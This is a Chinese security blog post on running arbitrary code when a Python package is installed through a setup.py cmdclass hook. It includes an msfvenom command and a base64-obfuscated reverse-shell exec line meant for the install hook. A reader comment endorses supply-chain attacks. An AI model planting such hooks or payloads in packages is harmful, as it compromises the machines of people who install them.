安装Python库时执行任意代码

BaCde  2281天前

timg.jpg

python语言越来越流行,使用的人越来越多。聚最新编程语言排行榜显示,已经跃升至前三名。

对于python大家都不会陌生了,我们经常会使用pip命令来安装python的各种库,那么你有没有想过在安装的时候,可能会有恶意代码悄悄运行呢?

下面我们先来看制作一个pypi的包的过程。

python的库打包方式

在制作python库文件的时候,经常用到的有两种,一种是distutils,另外一种则是setuptools。distutils 是标准库中负责建立 Python 第三方库的安装器,使用它能够进行 Python 模块的安装和发布。distutils 对于简单的分发很有用,但功能缺少。大部分Python用户会使用更先进的setuptools模块。setuptools  是 distutils 增强版,不包括在标准库中。其扩展了很多功能,能够帮助开发者更好的创建和分发 Python 包。大部分 Python 用户都会使用更先进的 setuptools 模块。

python库的打包格式

Python 库打包的格式包括 Wheel 和 Egg。Egg 格式是由 setuptools 在 2004 年引入,而 Wheel 格式是由 PEP427 在 2012 年定义。使用 Wheel 和 Egg 安装都不需要重新构建和编译,其在发布之前就应该完成测试和构建。

setup文件

Python 库打包分发的关键在于编写 setup.py 文件。setup.py 文件编写的规则是从 setuptools 或者 distuils 模块导入 setup 函数,并传入各类参数进行调用。

它是放在你包的根目录的,这一步至关重要,包括要发布的包名字,版本,license,描述,特性等等,下面是我自己包的一个setup.py文件的内容,基本上只需要在这个上面修改就行了,具体如下:

from __future__ import print_function
    
from setuptools import setup, find_packages
import sys

setup(
name="tests",
version="0.2.0",
author="yiming",
author_email="xxxx@xxxx.com",
desc ription="A Python library for test.",
long_desc ription=open("README.rst").read(),
license="MIT",
url="https://github.com/WEIHAITONG1/better-youtubedl",
packages=['Betubedl'],
classifiers=[
"Environment :: Web Environment",
'Intended Audience :: Developers',
'License :: OSI Approved :: MIT License',
'Natural Language :: Chinese',
'Operating System :: MacOS',
'Operating System :: Microsoft',
'Operating System :: POSIX',
'Operating System :: Unix',
'Topic :: Multimedia :: Video',
"Topic :: Internet",
"Topic :: Software Development :: Libraries :: Python Modules",
'Programming Language :: Python :: 2.6',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3.3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
],
zip_safe=True,
)


setup 函数常用的参数如下:

参数 说明
name 包名称
version 包版本
author 程序的作者
author_email 程序的作者的邮箱地址
maintainer 维护者
maintainer_email 维护者的邮箱地址
url 程序的官网地址
license 程序的授权信息
desc ription 程序的简单描述
long_desc ription 程序的详细描述
platforms 程序适用的软件平台列表
classifiers 程序的所属分类列表
keywords 程序的关键字列表
packages 需要处理的包目录(通常为包含 __init__.py 的文件夹)
py_modules 需要打包的 Python 单文件列表
download_url 程序的下载地址
cmdclass 添加自定义命令
package_data 指定包内需要包含的数据文件
include_package_data 自动包含包内所有受版本控制(cvs/svn/git)的数据文件
exclude_package_data 当 include_package_data 为 True 时该选项用于排除部分文件
data_files 打包时需要打包的数据文件,如图片,配置文件等
ext_modules 指定扩展模块
sc ripts 指定可执行脚本,安装时脚本会被安装到系统 PATH 路径下
package_dir 指定哪些目录下的文件被映射到哪个源码包
requires 指定依赖的其他包
provides 指定可以为哪些模块提供依赖
install_requires 安装时需要安装的依赖包
entry_points 动态发现服务和插件,下面详细讲
setup_requires 指定运行 setup.py 文件本身所依赖的包
dependency_links 指定依赖包的下载地址
extras_require 当前包的高级/额外特性需要依赖的分发包
zip_safe 不压缩包,而是以目录的形式安装

更多参数可见:https://setuptools.readthedocs.io/en/latest/setuptools.html

以上内容仅作为简单介绍,具体库打包请自行查看相关文档。这里我们重点看,有一个cmdclass,cmdclass表示自定义命令。它是我们今天的主角,得以执行任意代码将全靠它。大概的形式如下:

from setuptools import setup
from setuptools.command.install import install

class PostInstallCommand(install):
    def run(self):
        # 这里加入我们要执行的代码
        install.run(self)

setup(
    ...
    cmdclass={
        'install': PostInstallCommand,
    },
    ...
)


上面注释的位置就可以插入我们要执行的python代码。

当我们制作好打包的库,发布到pypi上的时候,当别人通过pip install命令安装的时候就会执行我们的代码。那么我们可以构造任意的代码了,例如获取机器信息到远程,更加危险的就是直接反弹shell。

例如我们可以在本地执行,即可执行我们的代码:

python -m pip install test/

例如我们可以通过msfvenom生成shellcode,然后加入代码反弹shell代码。

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234
import ba se64; exec(ba se64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))

最终setup.py的文件内容如下:

#!/usr/bin/env python

from __future__ import print_function

import getpass
import os
import time

from setuptools import setup
from setuptools.command.develop import develop
from setuptools.command.install import install

long_desc ription_filename = os.path.join(
    os.path.dirname(os.path.abspath(__file__)), 'README.md')

with open(long_desc ription_filename) as fd:
    long_desc ription = fd.read()

FILENAME = 'mtest'


def exec_sc ripts():   
    with open("./test.txt", 'a') as fd:
        print("mtest")
        fd.write("test\n")

class InstallCommand(install):
    def run(self):
        exec_sc ripts()
        install.run(self)


setup(
    name='mtest',
    version='0.1.0',
    desc ription='Code execution via Python package installation.',
    long_desc ription=long_desc ription,
    long_desc ription_content_type='text/markdown',
    url='https://nosec.org',
    packages=[],
    license='GPLv3',
    classifiers=[
        'Environment :: Console',
        'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
        'Operating System :: MacOS :: MacOS X',
        'Operating System :: Microsoft :: Windows',
        'Operating System :: POSIX',
        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3.4',
        'Programming Language :: Python :: 3.5',
        'Programming Language :: Python :: 3.6',
        'Topic :: Security',
    ],
    install_requires=[],
    tests_require=[],
    cmdclass={
        'install': InstallCommand,
    },
)

参考:

https://setuptools.readthedocs.io/en/latest/setuptools.html

http://blog.konghy.cn/2018/04/29/setup-dot-py/

https://github.com/mschwager/0wned

最新评论

路人甲  :  利用撞库+供应链攻击在结合这个**,黑入一些大公司不是梦。
2280天前 回复
昵称
邮箱
提交评论